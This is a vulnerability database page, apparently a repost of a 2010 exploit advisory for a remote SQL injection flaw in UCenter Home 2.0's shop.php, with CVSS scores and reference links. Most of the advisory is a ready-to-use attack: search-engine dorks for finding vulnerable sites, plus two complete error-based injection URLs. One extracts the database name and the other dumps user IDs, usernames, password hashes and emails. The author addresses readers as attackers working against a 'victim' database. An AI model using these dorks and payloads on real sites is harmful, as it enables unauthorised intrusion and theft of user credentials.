UCenter Home 2.0 remote SQL injection vulnerability

2010.09.15
Credit: KnocKout
Risk: Medium
Local: No
Remote: Yes
CWE: CWE-89


CVSS Base Score: 7.5/10
Impact Subscore: 6.4/10
Exploitability Subscore: 10/10
Exploit range: Remote
Attack complexity: Low
Authentication: No required
Confidentiality impact: Partial
Integrity impact: Partial
Availability impact: Partial

__--==UCenter Home 2.0 -(0day) Remote SQL Injection Vulnerability==--__ */ Author : KnocKout */ Greatz : DaiMon,BARCOD3,RiskY and iranian hackers */ Contact: knockoutr@msn.com */ Cyber-Warrior.org/CWKnocKout __--==__--==__--==__--==__--==__--==__--==__--==__--==__--== Script : UCenter Home Version : 2.0 Script HomePage : http://u.discuz.net/ __--==__--==__--==__--==__--==__--==__--==__--==__--==__--== Dork : Powered by UCenter inurl:shop.php?ac=view Dork 2 : inurl:shop.php?ac=view&shopid= __--==__--==__--==__--==__--==__--==__--==__--==__--==__--== Vuln file : Shop.php value's : (?)ac=view&shopid= Vulnerable Style : SQL Injection (MySQL Error Based) Need Metarials : Hex Conversion __--==__--==__--==__--==__--==__--==__--==__--==__--==__--== Your Need victim Database name. for Inject : http://server/shop.php?ac=view&shopid=253 and(select 1 from(select count(*),concat((select (select concat(0x7e,0x27,unhex(hex(database())),0x27,0x7e)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 .. DB : Okey. your edit DB `[TARGET DB NAME]` Example : 'hiwir1_ucenter' Edit : Okey. Your use Hex conversion. And edit Your SQL Injection Exploit.. Exploit Code : http://server/shop.php?ac=view&shopid=253 253 and(select 1 from(select count(*),concat((select (select (SELECT concat(0x7e,0x27,cast(concat(uc_members.uid,0x3a,uc_members.username,0x3a,uc_members.password,0x3a,uc_members.email) as char),0x27,0x7e) FROM `hiwir1_ucenter`.uc_members LIMIT 0,1) ) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 __--==__--==__--==__--==__--==__--==__--==__--==__--==__--==

References:

http://xforce.iss.net/xforce/xfdb/61783
http://www.exploit-db.com/exploits/14997
http://packetstormsecurity.org/1009-exploits/ucenter-sql.txt


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2020, cxsecurity.com

 

Back to Top